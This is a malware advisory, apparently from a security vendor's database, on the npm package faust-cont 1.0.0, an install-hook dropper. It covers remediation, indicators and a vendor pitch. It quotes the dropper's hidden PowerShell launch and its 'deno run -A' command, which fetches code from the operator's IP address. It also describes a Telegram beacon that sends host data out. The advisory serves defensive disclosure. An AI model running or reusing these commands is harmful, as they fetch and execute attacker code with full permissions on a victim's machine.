Which versions of faust-cont are malicious?

The following npm versions of faust-cont are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate faust-cont if I installed it?

faust-cont is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed faust-cont — how do I know if it already compromised me?

If faust-cont was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is faust-cont part of a known attack campaign?

Yes — faust-cont is associated with the IN-MAL-2026-011044 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find faust-cont across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for faust-cont (version 1.0.0).

Malicious package

faust-contnpm

Advisory published Jul 21, 2026Updated Sep 11, 2026

faust-cont is a confirmed malicious npm package (MAL-2026-11042) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in faust-cont (npm)

MAL-2026-11042

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall faust-cont

What this malware does

The npm package faust-cont is a supply-chain dropper disguised as a benign CLI tool (index.js is a decoy that only logs "cli tool install package loaded"). The real behaviour is placed in an install script.

An install lifecycle hook (install: node install.js) executes automatically on npm install, before the package is ever imported. On Windows the install script writes a PowerShell script to %TEMP%\setup.ps1 and launches it hidden and detached (powershell -WindowStyle Hidden -ExecutionPolicy Bypass). That script bootstraps a runtime toolchain so execution succeeds on a clean host — it installs scoop (irm get.scoop.sh | iex), then winget, then Deno — and finally runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js, fetching and executing a remote module from a hardcoded raw IP over plain HTTP with all Deno permissions granted (filesystem, network, environment, subprocess). Per the dropper's own comments the remote stage is a server-compiled loader that pulls a second stage which sets up autorun persistence and runs a main payload. The install script also contains a Telegram Bot API beacon that reports OS / architecture / hostname on install (the bot token is blank in the published build). Any Windows workstation or CI runner that installs the package (directly or transitively) hands all-permission remote code execution to the operator.

The package's npm install lifecycle hook runs install.js, which writes a PowerShell script to %TEMP%\setup.ps1 and launches it via start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass with windowsHide and detached options. The PowerShell script installs the Deno runtime (via winget/scoop) and then invokes deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js, fetching unpinned JavaScript from a bare IP over plain HTTP and executing it with all Deno permissions on the installer's Windows host. Separately, install.js collects OS name, architecture, and hostname and POSTs them to a hardcoded api.telegram.org bot endpoint (bot token and chat_id constants are blank in this published artifact, but the exfil path is fully wired and fires unconditionally). Hidden-window and detached execution deliberately conceal the dropper from the installing user.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

6ecd29d4c7b48237d28a9433bcfea361da155e1ed4ebdef265fd661574fe1a5d

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for faust-cont (version 1.0.0).
If you installed it — respond
faust-cont is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If faust-cont was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. faust-cont on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-011044

References

Credits

Amazon Inspector · finder
codelake Research · finder

Detect & block this

O3 blocks faust-cont-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database